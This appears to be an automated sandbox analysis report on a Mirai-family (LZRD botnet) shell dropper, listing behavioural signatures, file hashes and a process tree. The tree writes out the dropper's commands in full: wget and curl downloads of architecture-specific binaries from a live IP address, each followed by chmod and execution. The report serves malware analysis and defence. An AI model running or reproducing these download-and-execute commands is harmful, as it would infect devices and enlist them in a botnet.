Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22-12-2024 12:41

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    8364b34731a2e12ce67c2cfcb2811e75

  • SHA1

    5d718457dfa0ecc1a46528696d2769d11adf018f

  • SHA256

    cbeb5e39ef97058edd87f838971c4bab379a1a76a3b07b60cd9734efd8154cea

  • SHA512

    ca94f2b3643f6047efc405c15eab8fce850602cb28dbf36d760e7b6010df32c202066ab2ef66a79e0437792d8b5babc6f7a5742f7cb26df6e6354b55e1c837f9

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:702
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:706
    • /usr/bin/wget
      wget http://154.216.20.221/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:709
    • /usr/bin/curl
      curl -O http://154.216.20.221/hiddenbin/Space.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:727
    • /bin/cat
      cat Space.arc
      2⤵
        PID:734
      • /bin/chmod
        chmod +x 1.sh busybox Space Space.arc systemd-private-d0bc3507f48e4e1c9103bd15daaf5594-systemd-timedated.service-zOyIE7
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:736
      • /usr/bin/wget
        wget http://154.216.20.221/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:738
      • /usr/bin/curl
        curl -O http://154.216.20.221/hiddenbin/Space.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:739
      • /bin/cat
        cat Space.x86
        2⤵
          PID:740
        • /bin/chmod
          chmod +x 1.sh busybox Space Space.arc Space.x86 systemd-private-d0bc3507f48e4e1c9103bd15daaf5594-systemd-timedated.service-zOyIE7
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:742
        • /usr/bin/wget
          wget http://154.216.20.221/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:744
        • /usr/bin/curl
          curl -O http://154.216.20.221/hiddenbin/Space.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:745
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:746
          • /bin/chmod
            chmod +x 1.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-d0bc3507f48e4e1c9103bd15daaf5594-systemd-timedated.service-zOyIE7
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:748
          • /usr/bin/wget
            wget http://154.216.20.221/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:750
          • /usr/bin/curl
            curl -O http://154.216.20.221/hiddenbin/Space.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:752
          • /bin/cat
            cat Space.i686
            2⤵
              PID:759
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-d0bc3507f48e4e1c9103bd15daaf5594-systemd-timedated.service-zOyIE7
              2⤵
              • File and Directory Permissions Modification
              PID:761
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:762
            • /usr/bin/wget
              wget http://154.216.20.221/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:764
            • /usr/bin/curl
              curl -O http://154.216.20.221/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:772
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:782
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-d0bc3507f48e4e1c9103bd15daaf5594-systemd-timedated.service-zOyIE7
              2⤵
              • File and Directory Permissions Modification
              PID:783
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:784
            • /usr/bin/wget
              wget http://154.216.20.221/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:811
            • /usr/bin/curl
              curl -O http://154.216.20.221/hiddenbin/Space.mips64
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:812
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:822
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-d0bc3507f48e4e1c9103bd15daaf5594-systemd-timedated.service-zOyIE7
              2⤵
              • File and Directory Permissions Modification
              PID:824
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:825
            • /usr/bin/wget
              wget http://154.216.20.221/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:826
            • /usr/bin/curl
              curl -O http://154.216.20.221/hiddenbin/Space.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:835
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:846
              • /bin/chmod
                chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-d0bc3507f48e4e1c9103bd15daaf5594-systemd-timedated.service-zOyIE7
                2⤵
                • File and Directory Permissions Modification
                PID:847
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                PID:848
              • /usr/bin/wget
                wget http://154.216.20.221/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:851
              • /usr/bin/curl
                curl -O http://154.216.20.221/hiddenbin/Space.arm
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:853
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:854
                • /bin/chmod
                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-d0bc3507f48e4e1c9103bd15daaf5594-systemd-timedated.service-zOyIE7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:855
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  PID:856
                • /usr/bin/wget
                  wget http://154.216.20.221/hiddenbin/Space.arm5
                  2⤵
                    PID:858

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/Space

                  Filesize

                  37KB

                  MD5

                  b73e8fbb7aee4bbe5902554d6ab22092

                  SHA1

                  620097bfd55d8ade8d138bb2ba10e8d4c43fd105

                  SHA256

                  22dfde185b0b8051baf38817b34383b65d9dbe7ef4f09ad9cd856154c0709d04

                  SHA512

                  d42eed1c1ac183241f787c967d627e3df379c13c2b992c83c3cd9cdd5ee1446e8898709ad1472ba31a36aab9cbdc04b9c0a7c36668e39c8d26d5b808bb4ea9d8

                • /tmp/Space

                  Filesize

                  36KB

                  MD5

                  57c14d83bcaba972ea0b53c6814e9f65

                  SHA1

                  9834b2c220567c48d38ca9150a65e8145e6a0f36

                  SHA256

                  07d4715e63470114117c803268c02a590af4e83c00fb0251be96032e136dabbf

                  SHA512

                  7e14e067f428e598241038c80d517c9d22003e55d32c6bb64b153215b58ca2aee7c3ebf1538989e156c288f61e6f49a858f9cd02e0f4a92d15bc4d772348dd92

                • /tmp/Space

                  Filesize

                  37KB

                  MD5

                  f1ec41bcdeefed4e7d8a5495c6f07a92

                  SHA1

                  189e68405fe81999a6743eefb5522b35c5d0056b

                  SHA256

                  ed564aaa907b55f773c3a1de910979d25652bccb5cc407a260cb16652c2d5cd7

                  SHA512

                  26cb39a606efc65e524287053445d46639bb88af34cf4d0e81bd55154be8636bf77c36b11822aa355046771267df6a917bce4558780feda0001166d2385a1f04

                • /tmp/Space

                  Filesize

                  43KB

                  MD5

                  ba5ceb1218e230d2029a3206061e2e92

                  SHA1

                  f8c1c20e355c1fc999b414141c1e26c456b0241d

                  SHA256

                  d61fd8e146be70d9228432177c62353000a2b7f3d5576453fe5d04cc2c9afdb2

                  SHA512

                  7290e14d04ac418f61c2d81affda96b4a9e4e2f2f5725868bc81607377716986e1c37269cad4c6b2aaa8d8de219294e0b35944aecb700c21dbf4d48fed926192

                • /tmp/Space

                  Filesize

                  43KB

                  MD5

                  75efb2b764906fe873de82a5b4668e3e

                  SHA1

                  9139d08f46a873d8b50ae47b5075be34d1bc902c

                  SHA256

                  4ce9dc550a276e812f9b0ca400702f32b980d2a7d11de0c0e9cc8334e7e2113e

                  SHA512

                  f343cb138b602029c4c3cc0c4e546a91acb99aea7c005f41a0b3e46da9131db4baf8c7ec94e6983fac554c170065a8100dd4e4c0ecb5f7071d2a1b52d68a3d2d

                • /tmp/Space.arc

                  Filesize

                  113KB

                  MD5

                  0fdd3e751fa9d0f60c5a218e4269c9ad

                  SHA1

                  0d9ae7d06494f59cfc3bfba8e162e29630159be3

                  SHA256

                  81749b59ba614b200a57dd0990104117748a04add1ce6f28528328fb50e19528

                  SHA512

                  2b9ab36b3f5fd535ff322c4ac3fcad543b3d6da8fdbad80c6dfad309bf33e340ed9871453f7614d3a35395e7afd23066d7c766fb7b4466ccf591e570300ae0de

                • /tmp/busybox

                  Filesize

                  857KB

                  MD5

                  a39fe8036e559ce804e26518061e59ff

                  SHA1

                  8df27f6e8a48b762d945ea2f2b87390c80acd4de

                  SHA256

                  3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38

                  SHA512

                  e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d